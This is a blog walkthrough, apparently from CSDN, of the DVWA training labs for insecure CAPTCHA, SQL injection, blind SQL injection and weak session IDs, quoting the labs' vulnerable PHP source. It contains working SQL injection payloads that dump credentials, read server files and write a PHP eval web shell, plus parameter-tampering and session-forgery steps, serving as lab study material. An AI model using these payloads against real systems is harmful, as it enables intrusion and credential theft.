DVWA通关之旅(二)

不安全的验证码(Insecure CAPTCHA)

Low

首先还是分析代码。代码有点长,之前没分析过,所以花的时间稍微长了一点。

 <?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key'],
        $_POST['g-recaptcha-response']
    );

    // Did the CAPTCHA fail?
    if( !$resp ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // CAPTCHA was correct. Do both new passwords match?
        if( $pass_new == $pass_conf ) {
            // Show next stage for the user
            echo "
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                <form action=\"#\" method=\"POST\">
                    <input type=\"hidden\" name=\"step\" value=\"2\" />
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                    <input type=\"submit\" name=\"Change\" value=\"Change\" />
                </form>";
        }
        else {
            // Both new passwords do not match.
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }
    }
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check to see if both password match
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the end user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with the passwords matching
        echo "<pre>Passwords did not match.</pre>";
        $hide_form = false;
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

这段代码乍看没有任何问题,改密码的过程分成两个部分,step=1时检查用户输入的验证码,step=2时服务器更改密码。首先尝试一下直接修改,发现报出WARNING,
在这里插入图片描述

那么直接改不成功说明服务器那边出现故障了,也就是第二部出现了问题,那么重新进行代码审计,发现它只对step和change参数做了验证,也就是说,可以利用第一步成功来直接跳转到第二步,改参数还得是burp来抓包,
在这里插入图片描述
抓包将step改成2,绕过验证码。
在这里插入图片描述

Medium

medium级别的代码相较于low级别增加了一个参数的检查。那就是在第二部会检查passed_captcha。本质上来说没有什么不同,逻辑漏洞依然存在,依然可以通过抓包修改参数和添加参数来绕过检查。

 <?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key' ],
        $_POST['g-recaptcha-response']
    );

    // Did the CAPTCHA fail?
    if( !$resp ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // CAPTCHA was correct. Do both new passwords match?
        if( $pass_new == $pass_conf ) {
            // Show next stage for the user
            echo "
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                <form action=\"#\" method=\"POST\">
                    <input type=\"hidden\" name=\"step\" value=\"2\" />
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                    <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
                    <input type=\"submit\" name=\"Change\" value=\"Change\" />
                </form>";
        }
        else {
            // Both new passwords do not match.
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }
    }
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check to see if they did stage 1
    if( !$_POST[ 'passed_captcha' ] ) {
        $html     .= "<pre><br />You have not passed the CAPTCHA.</pre>";
        $hide_form = false;
        return;
    }

    // Check to see if both password match
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the end user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with the passwords matching
        echo "<pre>Passwords did not match.</pre>";
        $hide_form = false;
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

抓包修改step并且添加参数passed_captcha。
在这里插入图片描述
修改密码成功。

High

 <?php

if( isset( $_POST[ 'Change' ] ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key' ],
        $_POST['g-recaptcha-response']
    );

    if (
        $resp || 
        (
            $_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
            && $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
        )
    ){
        // CAPTCHA was correct. Do both new passwords match?
        if ($pass_new == $pass_conf) {
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for user
            echo "<pre>Password Changed.</pre>";

        } else {
            // Ops. Password mismatch
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }

    } else {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

对high等级的代码进行代码审计发现,和前面low和medium等级的逻辑不同。high等级验证 $ resp || ($_POST[ ‘g-recaptcha-response’ ] ==‘hidd3n_valu3’&& $_SERVER[ ‘HTTP_USER_AGENT’ ] == ‘reCAPTCHA’
)
也就是参数 $resp也就是谷歌返回的对验证码的验证结果是true或者g-recaptcha-response为hidd3n_valu3,以及HTTP头里面的USER_AGENT为reCAPTCHA。因为我是在虚拟机内做的实验,没有翻墙软件,所以抓包也显示不了验证码,所以无法从验证码处下手。只能在后面两个参数这里想想办法了。还是抓包。
在这里插入图片描述
修改User-Agent的值,并且添加参数g-recaptcha-response,值为hidd3n_valu3。然后放行该数据包,密码修改成功。

Impossible

把等级调整到impossible之后发现界面都不同,除了有新密码,还需要输入现有密码,还是进行代码审计。分析一下验证逻辑。

 <?php

if( isset( $_POST[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_new  = stripslashes( $pass_new );
    $pass_new  = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_new  = md5( $pass_new );

    $pass_conf = $_POST[ 'password_conf' ];
    $pass_conf = stripslashes( $pass_conf );
    $pass_conf = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_conf ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_conf = md5( $pass_conf );

    $pass_curr = $_POST[ 'password_current' ];
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key' ],
        $_POST['g-recaptcha-response']
    );

    // Did the CAPTCHA fail?
    if( !$resp ) {
        // What happens when the CAPTCHA was entered incorrectly
        echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // Check that the current password is correct
        $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
        $data->execute();

        // Do both new password match and was the current password correct?
        if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
            // Update the database
            $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
            $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
            $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
            $data->execute();

            // Feedback for the end user - success!
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Feedback for the end user - failed!
            echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
            $hide_form = false;
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

代码里面有我们很熟悉的anti-csrf的验证token。而且对输入的三次密码都进行了MD5加密。而且后续验证逻辑仅仅只有谷歌对于验证码的判断参数 $resp,没有其他条件,安全系数增高,我暂时无法破解。

SQL注入(SQL Injection)

Low

SQL注入是指攻击者通过注入恶意的SQL语句来执行恶意的行为,这里需要了解常用的SQL命令,SQL注入的常见思路如下

寻找注入点,可通过web扫描工具实现

通过注入点,尝试获取数据库的相关信息

猜解数据库的表和重要字段与内容

获取用户信息,用于后台登录

利用后台获取的信息,进行攻击,上传shell,或者进一步提权等

手工注入的步骤(非盲注)

判断是否存在注入,注入是字符型还是数字型

猜解SQL查询语句中的字段数

确定显示的字段顺序

获取当前数据库

获取数据库中的表

获取表中的字段名

下载数据

对low等级进行代码审计。

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 

分析该代码可知服务器没有对参数id进行任何的过滤,可以注入。
在这里插入图片描述
尝试注入1,发现可注入,再验证注入的类型。
在这里插入图片描述
注入1‘or’2‘=’2,发现返回多条结果,注入语句中最后没有单引号却能返回查询的结果,说明后台组装SQL语句的时候是带单引号的,所以存在字符型注入。下一步猜解字段数。尝试注入1‘or1=1 order by 1#最后一个数字依次增加,order by 1是指按照列1排序,#为注释,指的是后面的内容以注释出现。发现到三的时候爆出错误,不存在第三列,则说明只有两个字段,即first name和surname。
在这里插入图片描述
在这里插入图片描述
接下来确定两个字段的显示顺序。其实从前面的截图可以看出顺序,但是如果是多个字段,可能显示的并不能判断。尝试注入语句1’ union select 1,2#,union查询是将两条及以上SQL查询语句去掉重复后组合成一个新的结果集,select后面如果是数字则表示查询数字,如果是字母则是按照列名进行检索。
在这里插入图片描述
接下来获取当前的数据库。注入命令1’ union select 1,database()#,获取数据库的名称。
在这里插入图片描述
select语句还可以利用一些函数,查看一些重要信息,如1’ union select user(),database()#可以查看用户信息。
在这里插入图片描述
接下来是获取数据库中的表,注入命令为1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,得到表的信息。有两个表,guestbook和users,然后获取users表的字段名,命令为1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’#,一共有八个字段名,user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
在这里插入图片描述
在这里插入图片描述
得到表以及字段的信息之后进行最后的数据下载,注入1’ union select group_concat(user),group_concat(password) from users#获取用户名和密码,密码值为MD5加密的值,通过解密之后可以得到密码分别password,abc123,charley,letmein,password。
在这里插入图片描述
在这里插入图片描述
以上常规步骤已经完成,接下来尝试进行更深层次的注入攻击,尝试获取root用户,注入命令为1’ union select 1, group_concat(user) from mysql.user#。
在这里插入图片描述
接下里我们读文件以及写文件获取shell,注入命令1‘ union select ‘yy’,2 into outfile ‘yy’ #,进行试错,获取绝对路径。或者前面的实验过程中已经获取了了绝对路径可以跳过该步骤。
在这里插入图片描述
得到绝对路径后,注入1’ union select 1,load_file(‘C:/phpstudy_pro/WWW/DVWA-master/php.ini’) #获取文件信息。
在这里插入图片描述
之后写shell,注入1’ union select 1,’<?php @eval($_POST["fx"]);?>’ into outfile ‘C:/phpstudy_pro/WWW/DVWA-master/hackable/uploads/fx.php’#
虽然报出WARNING,但是服务器根目录下已经产生了fx.php文件。
在这里插入图片描述
接下来使用蚁剑连接即可,密码是fx。
在这里插入图片描述
连接之后就可以查看服务器根目录下的所有文件了。

Medium

首先还是进行代码审计。

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 

分析代码可知,该级别利用mysql_real_escape_string函数对特殊符号进行了过滤,并且设置可选菜单控制用户是输入,但是可以抓包修改参数。
在这里插入图片描述
修改id的值进行注入。
在这里插入图片描述
注意一点,当单引号等特殊字符被转义的时候,可以采用16进制进行绕过。

High

 <?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?>

high级别的代码增加了limit 1,限制只产生一个输出,并且注入页面与返回页面是在不同的页面上。防止了sqlmap注入。
在这里插入图片描述
虽然限制只输入一行,但是可以通过#来注释掉。
在这里插入图片描述

Impossible

 <?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

impossible的代码增加anti CSRF token检测,而且代码采用了PDO技术,划清了代码与数据的界限,PDO是PHP Data Object提供给PHP操作多种数据库统一的接口,可通过quote()方法过滤特殊字符以及bindparameter()方法绑定参数防止SQL注入。

SQL盲注(SQL Injection(Blind))

Low

 <?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

布尔盲注
根据源码可知虽然服务器并没有对注入进行审查,但是返回结果显示只有两个User ID exists in the database,User ID is MISSING from the database。
在这里插入图片描述
因为无法获取详细的信息,只有是与否,所以我们设计的问题一定要能够得到我们想要的信息。刚才输入1,反馈存在,现在输入1’,结果不存在,那么应该是字符型盲注。
在这里插入图片描述
接下来猜解数据库名,由于问题的答案只能为是或者不是,那么我们设计问题就要考虑针对性,就像你说我猜游戏一样,想问答案几个字,然后和什么相关这一类,我们也是先问数据库名称到底几个字。注入1’ and length(database())=1 #反馈否,说明数据库名称不是一个字,接下来依次递增,到4的时候反馈正确,则说明数据库名称是4个字,接下来因为数据库名称是字符,考虑通过ASCII码值来进行判断。1’ and ascii(substr(databse(),1,1))>97#以及1’ and ascii(substr(databse(),1,1))<122 #返回正确,说明第一个字符是小写字母,然后通过二分查找,最后确定第一个字符的准确ASCII码值,以此类推,确定第二个,第三,第四个字符。最后得到数据库名为dvwa,因为我已知数据库名,所以没有去尝试,真正的去尝试应该也是很繁琐的。
接下来猜解数据库中表的数目已经名称,首先还是注入尝试获取表的数目,1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1#,显示错误,说明不是一个表,1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2# 返回正确说明有两个表。接下来猜解第一个表的名称,还是和猜解数据库名称一样,先猜解名称字符数,然后使用二分来确定最后的真实字符串。 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #这是猜解字符数目的命令,1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #这是二分查找的命令。猜解出表名分别为guestbook和users。
后续猜解字段名和数据也是通过该方法。

时间盲注
时间盲注的原理是通过sleep()函数来观看结果有无时间延迟来判断,例如1 and sleep(5)#没有延迟,而1’ and sleep(5)#发现有明显时间延迟,说明是字符型注入。如果想看更明显的时间延迟,可以把sleep()函数里面的数字改的更大一点。

Medium

 <?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

对代码进行分析之后发现相较于手工注入,仅仅是结果显示方面有所不同。做法也是抓包修改id。

High

 <?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

当SQL查询为空时,会使用sleep()函数来扰乱基于时间的盲注。但是我们依然可以使用布尔盲注。

Impossible

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

和手工注入一样,安全等级很高,而且结果显示只有是与非。

弱会话ID(Weak Session IDs)

要了解弱会话ID的漏洞详情,首先需要了解http协议是无状态的,它不会在服务器端保留用户信息,那么用户需要反复登录账号才能保持持续访问。为了解决这个情况,服务器端会产生一个用户会话标志session,然后把sessionID反馈给客户端,这样,客户端只需要把sessionID包含在cookie中就可以访问了,不需要再次登录。这样漏洞就形成了,攻击者可以不需要再去破解用户的密码,而只需要获取sessionID就可以访问服务器,获取信息。这种情况下的攻击一般是建立在获取sessionID比获取用户名和密码更简单的情况下。

Low

 <?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
        $_SESSION['last_session_id'] = 0;
    }
    $_SESSION['last_session_id']++;
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}
?>

首先还是进行代码审计。从代码可以看出,sessionID是直接进行累加的,所以很容易猜解与获取。首先点击generate进行抓包分析,多抓几次发现,dvwasession是依次累加的,和代码一样。
在这里插入图片描述
在这里插入图片描述
那么下一次就是3,我们下保存先PHPSESSID的值,是ifd2arcu8d1e303dbm2bao25kd。然后复制一下网址http://ip地址/DVWA-master/vulnerabilities/weak_id/,在另外一个浏览器中打开。发现需要登录。
在这里插入图片描述
抓包,修改参数。
在这里插入图片描述
然后放行。发现不需要进行登录就可以访问了。
在这里插入图片描述

Medium

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = time();
    setcookie("dvwaSession", $cookie_value);
}
?> 

medium级别的代码很短,但是却不容易破解,因为dvwasession是随时间变化而变化的。这里我们可以通过时间戳工具将未来的某个时间转化,然后抓包修改,在那个时间点提交就可以了。
在这里插入图片描述

High

 <?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id_high'])) {
        $_SESSION['last_session_id_high'] = 0;
    }
    $_SESSION['last_session_id_high']++;
    $cookie_value = md5($_SESSION['last_session_id_high']);
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>

high等级的代码和low等级很相似,都是依次累加的,但是不同的是,这里使用了MD5加密,那我们可以使用网上现成的加密工具把dvwasession加密后再把密文注入。

Impossible

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = sha1(mt_rand() . time() . "Impossible");
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?> 

由代码可知,该cookie的值是由随机数+时间戳+字符串“Impossible”进行sha1运算。sha1加密网上有现成的工具,时间戳也是,字符串已知,但是随机数却不知道,同一个随机数函数每次产生的随机数也不同。难解。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值